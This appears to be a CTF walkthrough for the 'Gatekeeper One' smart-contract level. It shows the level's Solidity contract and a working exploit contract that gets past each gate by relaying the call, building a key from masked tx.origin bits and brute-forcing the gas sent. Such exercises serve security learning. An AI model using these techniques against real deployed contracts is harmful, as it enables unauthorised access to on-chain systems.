Level 13 - Gatekeeper 1 ⏺⏺⏺⏺

Level Setup

Make it past the gatekeeper and register as an entrant to pass this level.

Things that might help:

  • Remember what you've learned from the Telephone and Token levels.

  • You can learn more about the special function gasleft(), in Solidity's documentation (see here and here).

Level Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {
    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        require(gasleft() % 8191 == 0);
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
        require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
        require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
        _;
    }

    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}

Exploit

make anvil-exploit-level-13

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
src/Level13.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";

// ================================================================
// │                    LEVEL 13 - GATEKEEPER ONE                 │
// ================================================================
contract GatekeeperOneMiddleman {
    function run(address targetContract) public {
        // Gate one is passed just by calling the enter function from this contract
        // causing the tx.origin to be different from the msg.sender

        bool succeeded = false;

        // Gate three requires...
        bytes8 key = bytes8(uint64(uint160(tx.origin)) & 0xffffffff0000ffff);

        uint256 gas = 65782;

        // Gate two requires calculating the gas remaining...
        for (uint256 i = gas - 5052; i < gas + 5052; i++) {
            console.log("Trying gas: ", i);
            (bool success,) = address(targetContract).call{gas: i}(abi.encodeWithSignature("enter(bytes8)", key));
            if (success) {
                succeeded = success;
                break;
            }
        }
    }
}

Submit instance... 🥳

Completion Message

Well done! Next, try your hand with the second gatekeeper...

Notes

Last updated